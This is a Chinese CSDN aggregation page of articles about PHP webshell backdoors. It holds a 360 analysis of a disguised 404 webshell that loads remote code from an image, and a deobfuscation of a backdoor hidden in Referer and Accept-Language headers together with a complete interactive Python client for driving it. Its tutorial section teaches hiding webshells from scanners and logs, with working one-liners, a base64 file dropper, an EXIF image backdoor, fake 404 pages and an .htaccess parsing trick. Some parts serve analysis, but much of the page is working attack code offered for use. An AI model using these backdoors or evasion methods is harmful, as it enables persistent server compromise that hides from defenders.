php shell后门页面_php shell脚本 php后门检测 - CSDN
精华内容
参与话题
  • 近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的...

    0x00 背景


    近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

    0x01 细节


    Webshell代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    error_reporting(0);
    session_start();
    header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(
    sprintf('%s?%s',pack("H*",
    '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
    ?>

    关键看下面这句代码,

    1
    sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

    这里执行之后其实是一张图片,解密出来的图片地址如下:

    http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
    

    然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

    1
    2
    3
    4
    <?php
    echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
    '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
    ?>

    如图所示:

    enter image description here

    分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:

    enter image description here

    首先我先看一下它的前端html代码,其中有这么一段js程序

    1
    2
    3
    4
    5
    6
    7
    document.onkeydown = function(e) {
    var theEvent = window.event || e;
    var code = theEvent.keyCode || theEvent.which;
    if (80 == code) {
    $("login").style.display = "block"
    }
    }

    这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

    enter image description here

    所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

    enter image description here

    再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

    enter image description here

    再看init()的逻辑

    enter image description here

    如图所示,先看这句代码

    1
    $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

    根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

    1
    unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

    所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function callback() {
    var json = eval("(" + this.responseText + ")");
    if (json.status=='on'){
    window.location.reload();
    return;
    }
    if (json.notice) {
    $("notice").style.display = "block";
    $("notice").innerHTML = json.notice;
    sideOut();
    }
    }

    这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:

    enter image description here

    这里跟前面POST的逻辑一样,下面当判断为'true'以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:

    enter image description here

    登陆成功之后的webshell如下图:

    enter image description here

    0x02 总结


    这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!

    from:http://blog.wangzhan.360.cn/?p=65

    展开全文
  • 洒家的朋友的公司的某个站发现最近被上传了一个后门程序。为了取证我们抓取了HTTP请求流量,看到了一堆莫名其妙看似经过混淆的请求,响应也是看似base64的乱码。洒家用了2个小时静态分析了一遍,并写了利用脚本。...

    洒家的朋友的公司的某个站发现最近被上传了一个后门程序。为了取证我们抓取了HTTP请求流量,看到了一堆莫名其妙看似经过混淆的请求,响应也是看似base64的乱码。洒家用了2个小时静态分析了一遍,并写了利用脚本。后门程序看似是乱码,实际上经过了混淆,通过eval()可以执行任意PHP命令。由于混淆得很乱,做起来实在把洒家恶心了一番。

    后门源代码:

    复制代码
    <?php
    /**
     * Signature For Report
     */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
     */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
     */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
     */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
     */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
     */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
     */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
     */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
     */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
     */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
     */$y=str_replace('b','','crbebbabte_funcbbtion');/*
     */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
     */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
     */$v=$y('',$L);$v();/*
     */
    复制代码

    经过分析,最外层混淆进行的操作是:按顺序拼接字符串,删除其中的 ')m',通过create_function()创建一个匿名函数$v并执行代码。

    将代码导出并美化如下:

    复制代码
    <?php
    $kh="4f7f";
    $kf="28d7";
    
    function x($t,$k){
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }
        return $o;
    }
    $r=$_SERVER;
    $rr=@$r["HTTP_REFERER"];
    $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
    if($rr&&$ra){
        $u=parse_url($rr); 
        parse_str($u["query"],$q); 
        $q=array_values($q);        
        
        preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
        if($q&&$m){
            @session_start();
            $s=&$_SESSION;
            $ss="substr";
            $sl="strtolower";
            $i=$m[1][0].$m[1][1];  
            $h=$sl($ss(md5($i.$kh),0,3)); 
            $f=$sl($ss(md5($i.$kf),0,3)); 
            $p="";
            for($z=1;$z<count($m[1]);$z++)  
                $p.=$q[$m[2][$z]];         
            if(strpos($p,$h)===0){        
                $s[$i]="";        
                $p=$ss($p,3);    
            }
            if(array_key_exists($i,$s)){         
                $s[$i].=$p;
                $e=strpos($s[$i],$f); 
                if($e){    
                    $k=$kh.$kf; 
                    ob_start();
                    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                    $o=ob_get_contents();
                    ob_end_clean();
                    $d=base64_encode(x(gzcompress($o),$k));
                    print("<$k>$d</$k>");
                    @session_destroy();
                }
            }
        }
    }
    复制代码

    好吧,还有第二层混淆。洒家大概看了一下,x($t,$k)函数是个循环异或函数,结合 base64 函数、 gzcompress() 等函数看可能有HTTP请求和响应过程中的编码和加密。Payload是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"] 和 $_SERVER["HTTP_REFERER"]中来。

     洒家分析了一番,稍加修改,得到:

    复制代码
    <?php
    $kh="4f7f";
    $kf="28d7";
    
    // 循环异或加密解密,密钥 $k
    function x($t,$k){
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }
        return $o;
    }
    $r=$_SERVER;
    $rr=@$r["HTTP_REFERER"];
    $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
    if($rr&&$ra){
        // 将 referer 的 query string 的 各个value取出到 $q
        $u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment
        parse_str($u["query"],$q); // parse query string into $q (array).
        $q=array_values($q);        // array values 
    
        // 分析 Accept-Language, 提取 每种语言的首字母和权重数字。
        // Searches $ra for all matches to the regular expression given and puts them in $m
        preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
        if($q&&$m){
            @session_start();
            $s=&$_SESSION;
            $ss="substr";
            $sl="strtolower";
            $i=$m[1][0].$m[1][1];              // 两组首字母
            $h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头
            $f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后Payload,攻击时附加到$p 后面
    
            // 拼接Payload
            $p="";
            for($z=1;$z<count($m[1]);$z++)  // 从$q 中取出 $m 正则匹配到的第2组中索引 1 -- count($m[1])-1 的值(0-9)作为键的值连接,得到$p
                $p.=$q[$m[2][$z]];         // 上例(language), $p .= $q[8]
    
    
            // 去除 $p Payload 开头的 $h
            if(strpos($p,$h)===0){        // $h 在 $p[0] 位置出现。
                $s[$i]="";        // $_SESSION[$i] = ''  , $i 是正则匹配到的两组首字母
                $p=$ss($p,3);    // $p 从第3个字符开始的子串,去掉 $h
            }
            if(array_key_exists($i,$s)){         // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现
                $s[$i].=$p;
                $e=strpos($s[$i],$f);   // $f 是md5 前三个字符小写 ,在 $s[$i]
                if($e){    // 必须有 $f 作为"停止字符串"
                    $k=$kh.$kf; // 4f7f28d7
                    ob_start();
                    /*
                    去除末尾的 $f
                    URL safe base64 还原为普通base64
                    base64 解码
                    循环异或解密
                    zlib 解密,还原出PHP代码
                    执行PHP代码
                    */
                    //@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
                    echo "CMD WILL EXEC:\n<br />";
                    echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
                    $o=ob_get_contents();  // output
                    ob_end_clean();
                    $d=base64_encode(x(gzcompress($o),$k));  // 编码
                    print $o;
                    //print("<$k>$d</$k>");
                    @session_destroy();
                }
            }
        }
    }
    复制代码

    关于正则表达式,例子:

    复制代码
    $ra = 'zh-CN,zh;q=0.8,en;q=0.6';
    $m = array (size=3)
          0 => 
            array (size=3)
              0 => string 'zh-CN,' (length=6)
              1 => string 'zh;q=0.8,' (length=9)
              2 => string 'en;q=0.6' (length=8)
          1 => 
            array (size=3)
              0 => string 'z' (length=1)
              1 => string 'z' (length=1)
              2 => string 'e' (length=1)
          2 => 
            array (size=3)
              0 => string '' (length=0)
              1 => string '8' (length=1)
              2 => string '6' (length=1)
    复制代码

     由此,理清这复杂的逻辑后可以写出以下Payload生成代码(PHP):

    (针对 zh-CN,zh;q=0.8,en;q=0.6 这一种 Accept-Language)

    复制代码
    <?php
    $kh="4f7f";
    $kf="28d7";
    
    $referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere';
    $lang = 'zh-CN,zh;q=0.8,en;q=0.6';
    $m = array (
      0 =>   array (
        0 => 'zh-CN,',
        1 => 'zh;q=0.8,',
        2 => 'en;q=0.6',  ),
      1 =>   array (
        0 => 'z',
        1 => 'z',
        2 => 'e',  ),
      2 =>   array (
        0 => '',
        1 => '8',
        2 => '6',  ),   );
    $i = 'zz'; // $m[1][0] . $m[1][1]
    $h=strtolower(substr(md5($i.$kh),0,3)); // 675
    $f=strtolower(substr(md5($i.$kf),0,3)); // a3e
    
    function x($t,$k){        // $k : xor key, $t: plain. loop xor encrypt $t.
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }
        return $o;
    }
    $key = '4f7f28d7';
    //$payload='phpinfo();';
    $payload = $_GET['cmd'];
    $payload = gzcompress($payload);
    $payload = x($payload,$key);
    $payload = base64_encode($payload);
    $payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload);
    $payload = $h . $payload . $f;
    echo $payload;
    echo "\n<br />\n";
    $referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload";
    echo $referer;
    echo "\n<br />\n";
    复制代码

     

     对于 eval() 后的输出,有以下代码解密:

    复制代码
    <?php
    $kh="4f7f";
    $kf="28d7";
    
    // 循环异或,相同密钥 $k 既能加密也能解密
    function x($t,$k){        // $k : xor key, $t: plain. loop xor encrypt $t.
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }
        return $o;
    }
    $k=$kh.$kf; // 4f7f28d7
    
    $output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw==';
    $o = base64_decode($output);
    $o = x($o,$k);
    echo gzuncompress($o);
    复制代码

     

    洒家根据这个后门的原理写了个交互式的利用程序(Python2):

     

    代码如下:

    每次执行代码生成一次Accept-Language。对于Referer的Query String,没有用到的部分用随机代码填充,编码后的Payload切成3部分,头部md5 和主体连接起来从中切2份,尾部md5+随机字符串作为第3份。

    复制代码
    # encoding: utf-8
    
    from random import randint,choice
    from hashlib import md5
    import urllib
    import string
    import zlib
    import base64
    import requests
    import re
    
    def choicePart(seq,amount):
        length = len(seq)
        if length == 0 or length < amount:
            print 'Error Input'
            return None
        result = []
        indexes = []
        count = 0
        while count < amount:
            i = randint(0,length-1)
            if not i in indexes:
                indexes.append(i)
                result.append(seq[i])
                count += 1
                if count == amount:
                    return result
    
    def randBytesFlow(amount):
        result = ''
        for i in xrange(amount):
            result += chr(randint(0,255))
        return  result
    
    def randAlpha(amount):
        result = ''
        for i in xrange(amount):
            result += choice(string.ascii_letters)
        return result
    
    def loopXor(text,key):
        result = ''
        lenKey = len(key)
        lenTxt = len(text)
        iTxt = 0
        while iTxt < lenTxt:
            iKey = 0
            while iTxt<lenTxt and iKey<lenKey:
                result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
                iTxt += 1
                iKey += 1
        return result
    
    
    def debugPrint(msg):
        if debugging:
            print msg
    
    # config
    debugging = False
    keyh = "4f7f" # $kh
    keyf = "28d7" # $kf
    xorKey = keyh + keyf
    url = 'http://example.com/backdoor.php'
    defaultLang = 'zh-CN'
    languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
    proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
    
    sess = requests.Session()
    
    # generate random Accept-Language only once each session
    langTmp = choicePart(languages,3)
    indexes = sorted(choicePart(range(1,10),3), reverse=True)
    
    acceptLang = [defaultLang]
    for i in xrange(3):
        acceptLang.append(langTmp[i] % (indexes[i],))
    acceptLangStr = ','.join(acceptLang)
    debugPrint(acceptLangStr)
    
    init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
    md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
    debugPrint('$i is %s' % (init2Char))
    debugPrint('md5 head: %s' % (md5head,))
    debugPrint('md5 tail: %s' % (md5tail,))
    
    # Interactive php shell
    cmd = raw_input('phpshell > ')
    while cmd != '':
        # build junk data in referer
        query = []
        for i in xrange(max(indexes)+1+randint(0,2)):
            key = randAlpha(randint(3,6))
            value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
            query.append((key, value))
        debugPrint('Before insert payload:')
        debugPrint(query)
        debugPrint(urllib.urlencode(query))
    
        # encode payload
        payload = zlib.compress(cmd)
        payload = loopXor(payload,xorKey)
        payload = base64.urlsafe_b64encode(payload)
        payload = md5head + payload
    
        # cut payload, replace into referer
        cutIndex = randint(2,len(payload)-3)
        payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
        iPiece = 0
        for i in indexes:
            query[i] = (query[i][0],payloadPieces[iPiece])
            iPiece += 1
        referer = url + '?' + urllib.urlencode(query)
        debugPrint('After insert payload, referer is:')
        debugPrint(query)
        debugPrint(referer)
    
        # send request
        r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
        html = r.text
        debugPrint(html)
    
        # process response
        pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
        output = pattern.findall(html)
        if len(output) == 0:
            print 'Error,  no backdoor response'
            cmd = raw_input('phpshell > ')
            continue
        output = output[0]
        debugPrint(output)
        output = output.decode('base64')
        output = loopXor(output,xorKey)
        output = zlib.decompress(output)
        print output
        cmd = raw_input('phpshell > ')
    复制代码

    每次请求的效果

    响应:

     

    附:

    Accept-Language解释

    zh-cn,zh;q=0.5

    浏览器支持的语言分别是中文和简体中文,优先支持简体中文。

      Accept-Language表示浏览器所支持的语言类型;

      zh-cn表示简体中文;zh 表示中文;

      q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。

     



    文章出处:博客园http://www.cnblogs.com/go2bed/
    本文采用 知识共享署名-非商业性使用-相同方式共享 2.5 中国大陆许可协议 进行许可,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。
    展开全文
  • 后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. 以PHP-WEBBACKDOOR为例,抛砖引玉 一个最常见的一句话后门可能写作这样 &...

    在这里插入图片描述
    0x00前言

    在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

    以PHP-WEBBACKDOOR为例,抛砖引玉

    一个最常见的一句话后门可能写作这样

    &lt;?php @eval($_POST['cmd']);?&gt;
    

    或这样

    &lt;?php @assert($_POST['cmd']);?&gt;
    

    当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

    但是运维直观寻找我们shell的方式也有很多,如

    通过文件名/修改时间/大小,文件备份比对发现异常
    通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等
    通过Access.log访问日志发现后门所在
    又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等
    针对常见的检测方式,总结以下七常用手法对shell进行隐藏

    0x01规避

    看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的
    在这里插入图片描述
    常见的关键词如:

    系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
    代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
    文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
    过去有朋友机智的使用POST[0](_POST[0](_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

    tudouya 同学在FREEBUF上给出一种构造技巧利用

    &lt;?php
    	@$_++; // $_ = 1
    	$__=("#"^"|"); // $__ = _    
    	$__.=("."^"~"); // _P    
    	$__.=("/"^"`"); // _PO    
    	$__.=("|"^"/"); // _POS    
    	$__.=("{"^"/"); // _POST 
    	${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
    	?&gt;
    

    构造生成,当然,嫌太直观可以写作这样

    &lt;?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?&gt;
    

    然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
    在这里插入图片描述
    执行无误,且绕过普通扫描器,也可依赖之写新的临时shell
    在这里插入图片描述
    0x02特性

    借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

    eg.:

    ${@eval(phpinfo())}
    

    {}可解析双引号内的变量内容,@保持出错后继续执行

    然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

    &lt;?php @preg_replace("//e",$_POST['cmd'],"");?&gt;
    

    这玩法显然已经进了扫描器黑名单,简单修改下

    &lt;?php
    	function funfunc($str){}
    	echo preg_replace("/&lt;title&gt;(.+?)&lt;\/title&gt;/ies", 'funfunc("\1")', $_POST["cmd"]); 
    ?&gt;
    

    执行了,没有被发现
    在这里插入图片描述
    执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

    funfunc("{${phpinfo()}}")
    

    另一种方法

    &lt;?php @assert("\$arr=\"".$_GET['cmd']."\";");?&gt;
    

    在这里插入图片描述
    0x03包含

    文件包含是众人都玩过的方法,只是包含也有技巧

    普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现

    看此脚本

    &lt;?php
    	if(@isset($_GET[content]))
    	{
    	$fp=fopen('README','w');
    	file_put_contents('README',"&lt;?php\r\n");
    	@file_put_contents('README',$_GET[content],FILE_APPEND);
    	fclose($fp);
    	require 'README';}
    ?&gt;
    

    算是解决了一点问题,需求的shell可随用随生成,进而包含之
    在这里插入图片描述
    可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现

    编码生成的方式创建shell,随访问而生成.

    &lt;?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
    ?&gt;
    

    可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.

    当然对于启发式之类的新概念就不考虑了

    在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

    &lt;?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?&gt;
    

    参考一种隐藏在JPG图片EXIF中的后门

    这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行
    在这里插入图片描述
    此处可能会提示 Call to undefined function exif_read_data()

    需要修改php.ini, extension=php_exif.dll

    将其加载顺序改为extension=php_mbstring.dll的后面
    在这里插入图片描述
    可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

    当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…

    0x04隐匿

    为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

    &lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt; 
    	&lt;html&gt;&lt;head&gt; 
    	&lt;title&gt;404 Not Found&lt;/title&gt; 
    	&lt;/head&gt;
    	&lt;body&gt;
    	&lt;h1&gt;Not Found&lt;/h1&gt; 
    	&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt; 
    	&lt;/body&gt;
    	&lt;/html&gt; 
    &lt;?php 
        @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); 
    ?&gt;
    

    借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

    但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

    &lt;?php
    	header('HTTP/1.1 404');
    	ob_start();
    	@fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
    	ob_end_clean();
    ?&gt;
    

    访问之,是真正的404,没错,日志中也是这样

    在这里插入图片描述

    但此刻当前目录已生成我们要连接的脚本

    0x05混淆

    用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

    &lt;?php
    	$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
    	$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
    	$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
    	$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
    	$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
    	$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
    	$jgfi = $ftdf("l","","lclrlelaltel_functlilon");
    	$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
    ?&gt;
    

    终端下连接后像这样
    在这里插入图片描述
    Ps:截图忘记修改终端编码了:(

    其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

    当然,这是在代码层面混淆视听以躲过扫描器

    更常用的混淆视听的方法:

    修改文件时间
    改名融入上传后所在文件夹,让人无法直观看出文件异常
    文件大小的伪装处理(至少看起大小像个正常脚本)
    选好藏身路径并尽量少的访问
    畸形目录%20
    关于空格目录,还是相对容易被发现的
    在这里插入图片描述
    0x06解析

    利用.htaccess,添加解析后门
    在这里插入图片描述
    如:

    Default
    
    1
    AddType   application/x-httpd-php     .jpg
    

    在这里插入图片描述
    以上以weeverly为例

    0x07杂糅

    总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.

    展开全文
  • <div id=”con660″> <div> <h4>业务领域</h4> <span>标题</span><br> <br> <span>标题2</span><br> <div>.../div&g...

    <div id=”con660″>    <div>   <h4>业务领域</h4>        <span>标题</span><br>     <br>        <span>标题2</span><br>     <div>内容</div> <div>内容</div> <div>内容</div> <div>内容</div><br>         </div>   <div></div>   </div>

    &nbsp;

    这是他后台能够控制的部分,可以看到,标题和内容都被放在一个DIV里面

    就拿标题部分来说吧

    <span>标题</span>

    直接写入一句话 将会变成

    <span><?php @eval($_POST['pass']);?></span>

    这样是不能执行成功的,我们要做的,仅仅只是加多一点代码而已,说白了就是想办法脱离这个<span>和<div>的控制。

    比如我们把标题写成

    </span></div><?php @eval($_POST['pass']);?><span>

    这样输出结果就变成

    <div><span></span></div><?php @eval($_POST['pass']);?><span></span>

    这样就可以成功执行我们的代码了.但是今天这个后台标题限制了字数,内容编辑器也被那货搞坏了。就没成功,只能写

    </span></div><?php @eval($_POST

    于是,我告诉他了,他怀疑了,呵呵,这其实只是一段简单的代码,说白了就等于是注释掉DIV SPAN,和你拿到shell后插一句话后门一个概念

    转载于:https://www.cnblogs.com/mujj/articles/2684093.html

    展开全文
  • 那些强悍的PHP一句话后门

    千次阅读 2018-08-06 14:28:18
    以一个学习的心态来对待PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。 强悍的PHP一句话后门 这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术...
  • 原文:... php后门木马常用的函数大致上可分为四种类型: 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执行与加密: eval, assert, call_user_func,base...
